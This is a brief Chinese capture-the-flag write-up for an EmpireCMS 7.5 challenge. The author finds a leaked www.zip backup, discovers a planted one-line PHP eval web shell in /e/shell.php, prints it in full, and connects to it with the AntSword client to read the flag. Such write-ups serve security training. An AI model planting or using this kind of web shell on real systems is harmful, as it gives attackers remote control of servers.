第一步：看题目
题目描述：这是采用了帝国CMS7.5的一道CTF题目，这个网站的管理员特别的粗心！！请聪明的你在题目中找到flag哦！
第二步：获取flag
打开链接，看到我是帝国平台，再根据题目描述，我们先扫一下他的后台管理目录，结果看到一个www.zip
我们去访问它，然后就下载了一个www..zip的压缩包
打开是压缩包，里面在/e目录下有shell.php，内容如下
<?php @eval($_POST[a]);?>
看到这里，心想，这就简单了，他在/e目录下上传了一句话木马，直接蚁剑去连接，密码为a
连接成功，有个/falg，直接查看获取flag
qsnctf{9xxxxxxxxxxxxxxxx8}
标签：青少年,题目,zip,--,帝国,flag,CMS01,压缩包 From： https://www.cnblogs.com/xwsfw/p/16807604.html